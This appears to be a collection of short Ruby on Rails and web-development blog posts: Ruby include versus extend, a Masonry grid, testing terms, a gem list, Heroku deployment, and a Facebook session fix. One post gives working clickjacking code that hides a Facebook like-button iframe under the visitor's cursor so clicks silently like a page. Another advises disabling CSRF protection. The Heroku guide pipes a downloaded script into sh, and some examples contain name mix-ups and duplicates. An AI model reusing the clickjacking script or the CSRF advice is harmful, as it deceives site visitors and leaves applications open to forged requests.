Include_vs_extend

include
include use for adding methods to an instance of a class.

example

example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
module Foo
  def foo
    p 'Hi foo'
  end
end

class Bar
  include Foo
end

bar = Bar.new
bar.foo # => Hi foo

Bar.foo # => NoMethodError: undefined method ‘foo’ for Bar:Class

extend
extend use for adding class methods.

example

example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
module Foo
  def foo
    p 'Hi foo'
  end
end

class Baz
  extend Foo
end

Bar.foo # => Hi foo

bar = Bar.new
bar.foo # => NoMethodError: undefined method ‘foo’ for #<Baz:0x1e708>

Using include to append both class and instance methods
You will see in Ruby is to use include to append both class and instance methods.
The reason for this is that include has a self.included hook you can use to modify the class that is including a module.

example

example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
module Foo
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def bar
      p 'class method'
    end
  end

  def foo
    p 'instance method'
  end
end

class Bar
  include Foo
end

Bar.bar # => class method
Bar.foo # => NoMethodError: undefined method ‘foo’ for Baz:Class

Bar.new.foo # => instance method
Bar.new.bar # => NoMethodError: undefined method ‘bar’ for #<Baz:0x1e3d4>

Define_singleton_method

define_singleton_method use to define singleton method.

example

example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Sayer
  def self.shouts(*words)
    words.each do |word|
      define_singleton_method "shout_#{word}" do
        p word
      end
    end
  end

  shouts :hello, :goodbye
end

Sayer.shout_hello
Sayer.shout_goodbye

Dynamic Grid Layout With Masonry

What is Masonry?
Masonry is a JavaScript grid layout library. It works by placing elements in optimal position based on available vertical space.

Add JQuery & Masonry script
Add JQuery and Masonry script in head tag.

Add JQuery & Masonary script
1
2
<script type="text/javascript" src="jquery-1.9.1.js"></script>
<script type="text/javascript" src="masonry.pkgd.js"></script>

Create Item
All items are wrapped in a container.

Create Item
1
2
3
4
5
<div id="container">
  <div class="box-item">Item1</div>
  <div class="box-item">Item2</div>
  <div class="box-item">Item3</div>
</div>

Create Item CSS style
Item style should be floated.

Create Item CSS style
1
2
3
4
5
6
.box-item {
  width: 220px;
  height: 220px;
  margin: 10px;
  float: left;
}

Run Masonry
The script to run Masonry.

Masongry script
1
2
3
4
5
$(function(){
  $('#container').masonry({
    itemSelector: '.box-item'
  });
});

Full Code

Full Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title></title>
  <style type="text/css">
    .box-item {
      width: 220px;
      padding: 10px;
      margin: 5px;
      float: left;
      border: 1px solid #CCC;
      border-radius: 4px;
      -moz-border-radius: 4px;
    }
  </style>
  <script type="text/javascript" src="jquery-1.9.1.js"></script>
  <script type="text/javascript" src="masonry.pkgd.js"></script>
  <script type="text/javascript">
    $(function(){
      $('#container').masonry({
        itemSelector: '.box-item'
      });
    });
  </script>
</head>
<body>
  <div id="container">
    <div class="box-item">
      Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec odio. Quisque volutpat mattis eros. Nullam malesuada erat ut turpis. Suspendisse urna nibh, viverra non, semper suscipit, posuere a, pede.
    </div>
    <div class="box-item">
      Morbi purus libero, faucibus adipiscing, commodo quis, gravida id, est. Sed lectus. Praesent elementum hendrerit tortor. Sed semper lorem at felis.
      Sed ac risus. Phasellus lacinia, magna a ullamcorper laoreet, lectus arcu pulvinar risus, vitae facilisis libero dolor a purus. Sed vel lacus. Mauris nibh felis, adipiscing varius, adipiscing in, lacinia vel, tellus. Suspendisse ac urna. Etiam pellentesque mauris ut lectus. Nunc tellus ante, mattis eget, gravida vitae, ultricies ac, leo. Integer leo pede, ornare a, lacinia eu, vulputate vel, nisl.
    </div>
    <div class="box-item">
      Sit amet mi ullamcorper vehicula Ut convallis, sem sit amet interdum consectetuer, odio augue aliquam leo, nec dapibus tortor nibh sed augue. Sed vel lacus. Mauris nibh felis, adipiscing varius, adipiscing in, lacinia vel, tellus. Suspendisse ac urna. Etiam pellentesque mauris ut lectus. Nunc tellus ante, mattis eget, gravida vitae, ultricies ac, leo. Integer leo pede, ornare a, lacinia eu, vulputate vel, nisl.
    </div>
    <div class="box-item">
      usce accumsan mollis eros. Pellentesque a diam sit amet mi ullamcorper vehicula
      Morbi interdum mollis sapien. Sed ac risus. Phasellus lacinia, magna a ullamcorper laoreet, lectus arcu pulvinar risus, vitae facilisis libero dolor a purus.
    </div>
    <div class="box-item">
      Ut convallis, sem sit amet interdum consectetuer, odio augue aliquam leo, nec dapibus tortor nibh sed augue.
      Ut condimentum mi vel tellus. Suspendisse laoreet. Fusce ut est sed dolor gravida convallis. Morbi vitae ante. Vivamus ultrices luctus nunc. Suspendisse et dolor. Etiam dignissim. Proin malesuada adipiscing lacus. Donec metus. Curabitur gravida.
    </div>
    <div class="box-item">
      Ut condimentum mi vel tellus. Suspendisse laoreet. Fusce ut est sed dolor gravida convallis. Morbi vitae ante. Vivamus ultrices luctus nunc. Suspendisse et dolor.
      Phasellus pede arcu, dapibus eu, fermentum et, dapibus sed, urna.
    </div>
    <div class="box-item">
      Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec odio. Quisque volutpat mattis eros. Nullam malesuada erat ut turpis. Suspendisse urna nibh, viverra non, semper suscipit, posuere a, pede.
    </div>
    <div class="box-item">
      Morbi purus libero, faucibus adipiscing, commodo quis, gravida id, est. Sed lectus. Praesent elementum hendrerit tortor. Sed semper lorem at felis.
      Sed ac risus. Phasellus lacinia, magna a ullamcorper laoreet, lectus arcu pulvinar risus, vitae facilisis libero dolor a purus. Sed vel lacus. Mauris nibh felis, adipiscing varius, adipiscing in, lacinia vel, tellus. Suspendisse ac urna. Etiam pellentesque mauris ut lectus. Nunc tellus ante, mattis eget, gravida vitae, ultricies ac, leo. Integer leo pede, ornare a, lacinia eu, vulputate vel, nisl.
    </div>
    <div class="box-item">
      Sit amet mi ullamcorper vehicula Ut convallis, sem sit amet interdum consectetuer, odio augue aliquam leo, nec dapibus tortor nibh sed augue. Sed vel lacus. Mauris nibh felis, adipiscing varius, adipiscing in, lacinia vel, tellus. Suspendisse ac urna. Etiam pellentesque mauris ut lectus. Nunc tellus ante, mattis eget, gravida vitae, ultricies ac, leo. Integer leo pede, ornare a, lacinia eu, vulputate vel, nisl.
    </div>
    <div class="box-item">
      usce accumsan mollis eros. Pellentesque a diam sit amet mi ullamcorper vehicula
      Morbi interdum mollis sapien. Sed ac risus. Phasellus lacinia, magna a ullamcorper laoreet, lectus arcu pulvinar risus, vitae facilisis libero dolor a purus.
    </div>
    <div class="box-item">
      Ut convallis, sem sit amet interdum consectetuer, odio augue aliquam leo, nec dapibus tortor nibh sed augue.
      Ut condimentum mi vel tellus. Suspendisse laoreet. Fusce ut est sed dolor gravida convallis. Morbi vitae ante. Vivamus ultrices luctus nunc. Suspendisse et dolor. Etiam dignissim. Proin malesuada adipiscing lacus. Donec metus. Curabitur gravida.
    </div>
    <div class="box-item">
      Ut condimentum mi vel tellus. Suspendisse laoreet. Fusce ut est sed dolor gravida convallis. Morbi vitae ante. Vivamus ultrices luctus nunc. Suspendisse et dolor.
      Phasellus pede arcu, dapibus eu, fermentum et, dapibus sed, urna.
    </div>
  </div>
</body>
</html>

You can download the source code and try it out.

Acceptance/Feature Test, Integration Test, Unit Test, Smoke Test, Regression Test

1. What is Acceptance/Feature test?
Is the testing use to test the customer’s specific scenarios when a user story has been correctly implemented. A story can have one or many acceptance tests, whatever it takes to ensure the functionality works.

2. What is Integration test?
Is the testing use to expose defects in the interfaces and interaction between integrated components (modules).

3. What is Unit test?
Also known as component testing, refers to tests that verify the functionality of a specific section of code, usually at the function level. In an object-oriented environment, this is usually at the class level. These types of tests is used to ensure that the specific function is working as expected. One function might have multiple tests.

4. What is Smoke test?
Is the quick testing to make sure everything looks okay before you get involved in the more testing.

5. What is Regression test?
Is the testing to make sure you haven’t broken anything. Everything that used to work should still work.

Test and Behaviour Driven Development (TDD/BDD)

1. What is TDD/BDD?
Express expected behaviour before writing code.

2. Why is TDD/BDD a good thing?
- Enjoy more efficient and predictable course of development.
- Find and fix bugs faster.
- Prevent bugs from reappearing.
- Improve the design of our software.
- Reliable document.

3. How do we do TDD/BDD?
- Write test programs.
- Run the tests automatically.

Workflow/Processing

TDD

BDD

The Most Gem That You Need for Developing Ruby on Rails Project

1. haml-rails
Description: Haml-rails provides Haml generators for rails 3.
Source: https://github.com/indirect/haml-rails

2. bootstrap-sass
Description: bootstrap-sass is an sass-powered version of Twitter’s Bootstrap.
Source: https://github.com/thomas-mcdonald/bootstrap-sass

3. simple_form
Description: simple_form aims to be as flexible as possible while helping you with powerful components to create your form.
Source: https://github.com/plataformatec/simple_form

4. bootstrap Wysihtml5 for Rails
Description: It provides a stylish wysiwyg editor for Bootstrap.
Source: https://github.com/Nerian/bootstrap-wysihtml5-rails, http://jquery-spellchecker.badsyntax.co/bootstrap-wysihtml5.html

5. select2
Description: jQuery based replacement of select boxes. It supports searching, remote data sets, and infinite scrolling of results.
Source: https://github.com/argerim/select2-rails, http://ivaynberg.github.io/select2

6. nested_form
Description: This is a Rails gem for conveniently manage multiple nested models in a single form. It does so in an unobtrusive way through jQuery or Prototype.
Source: https://github.com/ryanb/nested_form

7. httparty
Description: makes http fun again.
Source: https://github.com/jnunemaker/httparty

8. typhoeus
Description: typhoeus runs HTTP requests in parallel while cleanly encapsulating handling logic.
Source: https://github.com/typhoeus/typhoeus

9. devise
Description: devise is a flexible authentication solution for Rails.
Source: https://github.com/plataformatec/devise

10. CanCan
Description: CanCan is an authorization library for Ruby on Rails.
Source: https://github.com/ryanb/cancan

11. rspec-rails
Description: rspec-rails is a testing framework for Rails 3.x and 4.x.
Source: https://github.com/rspec/rspec-rails

12. shoulda-matchers
Description: shoulda-matchers provides Test::Unit- and RSpec-compatible one-liners that test common Rails functionality.
Source: https://github.com/thoughtbot/shoulda-matchers

13. Capybara
Description: Capybara helps you test web applications by simulating how a real user would interact with your app.
Source: https://github.com/rspec/rspec-rails

14. factory_girl_rails
Description: factory_girl - A library for setting up Ruby objects as a test data.
Source: https://github.com/thoughtbot/factory_girl_rails

15. exception_notification
Description: exception_notification provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
Source: https://github.com/smartinez87/exception_notification

16. Pry
Description: Pry is a powerful alternative to the standard IRB shell for Ruby.
Source: https://github.com/pry/pry

17. browsernizer
Description: want friendly “please upgrade your browser” page? This gem is for you.
Source: https://github.com/assembler/browsernizer

18. zero-clipboard-rails
Description: add the zeroclipboard to your rails app.
Source: https://github.com/HaNdTriX/zeroclipboard-rails

19. uuidtools
Description: uuidtools was designed to be a simple library for generating any of the various types of uuids.
Source: https://github.com/sporkmonger/uuidtools/tree

20. will_paginate
Description: will_paginate is a pagination library that intergrates with Ruby on Rails.
Source: https://github.com/mislav/will_paginate

21. paperclip
Description: Paperclip is intended as an easy file attachment library for Active Record.
Source: https://github.com/thoughtbot/paperclip

22. delayed_job_active_record
Description: delayed_job_active_record encapsulates the common pattern of asynchronously executing longer tasks in the background.
Source: https://github.com/collectiveidea/delayed_job

23. pg_search
Description: pg_search builds named scopes that take advantage of PostgreSQL’s full text search.
Source: https://github.com/Casecommons/pg_search

24. activerecord-postgres-hstore
Description: activerecord-postgres-hstore - Goodbye serialize, hello hstore. Speed up hashes in the database.
Source: https://github.com/engageis/activerecord-postgres-hstore

25. fastimage
Description: fastimage finds the size or type of an image given its uri by fetching as little as needed.
Source: https://github.com/sdsykes/fastimage

26. better_error
Description: better errors replaces the standard Rails error page with a much better and more useful error page.
Source: https://github.com/charliesome/better_errors

27. vcr
Description: record your test suite’s HTTP interactions and reply them during future test runs for fast, deterministic, accurate tests.
Source: https://github.com/vcr/vcr

28. aws-sdk
Description: The official AWS SDK for Ruby.
Source: https://github.com/aws/aws-sdk-ruby

29. guard
Description: Guard is a command line tool to easily handle events on file system modifications.
Source: https://github.com/guard/guard

30. Spork
Description: Spork is Tim Harper’s implementation of test server.
Source: https://github.com/sporkrb/spork

31. strip_attributes
Description: StripAttributes is an ActiveModel extension that automatically strips all attributes of leading and trailing whitespace before validation. If the attribute is blank, it strips the value to nil by default.
Source: https://github.com/rmm5t/strip_attributes

32. exception_notification
Description: The Exception Notifier plugin provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
Source: https://github.com/rails/exception_notification

33. assets_helper
Description: is the gem that use to include css and javascript by controller name automatically, it mean that include only css and javascript file in the controller that you are running.
Source: https://github.com/Bunlong/assets_helper

34. activenavbar
Description: is the gem that use to set the active navbar link, a link becomes active when you click on it.
Source: https://github.com/Bunlong/activenavbar

35. olive
Description: is the rails helper​ gem that enables to use content_for in controllers.
Source: https://github.com/Bunlong/olive

36. Slim
Description: Slim is a template language whose goal is to reduce the view syntax to the essential parts without becoming cryptic.
Source: https://github.com/slim-template/slim

37. font-awesome-rails
Description: font-awesome-rails provides the Font-Awesome web fonts and stylesheets as a Rails engine for use with the asset pipeline.
Source: https://github.com/bokmann/font-awesome-rails

38. minimagick
Description: Using MiniMagick the ruby processes memory remains small (it spawns ImageMagick’s command line program mogrify which takes up some memory as well, but is much smaller compared to RMagick).
Source: https://github.com/minimagick/minimagick

39. byebug
Description: It allows you to see what is going on inside a Ruby program while it executes and offers many of the traditional debugging features.
Source: https://github.com/deivid-rodriguez/byebug

39. byebug
Description: It allows you to see what is going on inside a Ruby program while it executes and offers many of the traditional debugging features.
Source: https://github.com/deivid-rodriguez/byebug

40. awesome_print
Description: Pretty print your Ruby objects with style – in full color and with proper indentation.
Source: https://github.com/michaeldv/awesome_print

41. omniauth
Description: OmniAuth is a library that standardizes multi-provider authentication for web applications. It was created to be powerful, flexible, and do as little as possible.
Source: https://github.com/intridea/omniauth

42. rails_layout
Description: Generates Rails application layout files for various front-end frameworks.
Source: https://github.com/RailsApps/rails_layout

43. bullet
Description: help to kill N+1 queries and unused eager loading.
Source: https://github.com/flyerhzm/bullet

44. pundit
Description: Minimal authorization through OO design and pure Ruby classes.
Source: https://github.com/elabs/pundit

45. devise_invitable
Description: An invitation strategy for devise.
Source: https://github.com/scambra/devise_invitable

46. draper
Description: Decorators/View-Models for Rails Applications.
Source: https://github.com/drapergem/draper

Facebook Fan Page Auto Like

When someone click anywhere on your site they will automatically like your page, no need to put like button.

1. Put the below code in head tag:

Check the body are clicked yet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="jquery-1.9.1.js" type="text/javascript"></script>
<script type="text/javascript">
  var interval = 0;

  function updateActiveElement() {
    if($(document.activeElement).attr('id') == "fb-iframe") {
      clearInterval(interval);
      bodyClicked = true;
    }
  }

  $(function() {
    interval = setInterval("updateActiveElement();", 50);
  });

</script>

2. Put the below code in body tag:

Load facebook fan page like button & hide it
1
2
3
4
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
  <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_PAGE_URL[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe">
  </iframe>
</div>

And then find YOUR_PAGE_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/GeeKhmer).

3. Put the below code anywhere in html tag:

Set mousemove event to body & when body are clicked, it auto click on facebook like button
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script type="text/javascript">
  var bodyClicked = false;
  var iframeWrapper = document.getElementById('iframe-wrapper');
  var standardBody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body;


  function mouseFollower(e) {
    // for internet explorer
    if (window.event) {
      iframeWrapper.style.top = (window.event.y - 5) + standardBody.scrollTop + 'px';
      iframeWrapper.style.left = (window.event.x - 5) + standardBody.scrollLeft + 'px';
    }
    else {
      iframeWrapper.style.top = (e.pageY-5) + 'px';
      iframeWrapper.style.left = (e.pageX-5) + 'px';
    }
  }

  document.onmousemove = function(e) {
    if(bodyClicked == false) {
      mouseFollower(e);
    }
  }
</script>

You can download the source code and try it out.

The code in this article is no longer working. Here is ”Facebook Fan Page Auto Like - Revised

Deploy Ruby on Rails Project to Heroku on Ubuntu

1. Installation heroku environment (www.toolbelt.heroku.com)
Open your terminal and type command below:

1. wget -qO- https://toolbelt.heroku.com/install.sh | sh
2. gem install heroku foreman
3. heroku login

2. Installation git
Open your terminal and type command below:

1. sudo apt-get install git-core
2. sudo apt-get install expat openssl zlib1g zlib1g-dev

3. Create Ruby on Rails project
Open your terminal and type command below:

rails new app_name -d postgresql

Then open Gemfile and add two gem below:

gem "heroku"
gem "thin"

Open your terminal and type command below:

sudo apt-get install expat openssl zlib1g zlib1g-dev

4. Deploy to heroku
Open your terminal and type command below:

1. cd project_name
2. git init
3. git add .
4. git commit -m "my first commit"
5. heroku create heroku_app_name
6. heroku git:remote -a heroku_app_name
7. git push heroku master

Each time you wish to deploy to Heroku
Open your terminal and type command below:

1. git add -A
2. git commit -m "commit for deploy to heroku"
3. git push -f heroku

Facebook Signed Request Lose Session in Ruby on Rails

Question: Does the session in your Ruby on Rails application lose after a user goes to a facebook tab app then facebook tab app request to your server and your server receives a signed request?
Answer: This can be happening because of the facebook app doesn’t send a csrf token in it’s token.

You can fix this by add skip_before_filter :verify_authenticity_token to the controller that facebook app’s request to or remove protect_from_forgery from application_controller.rb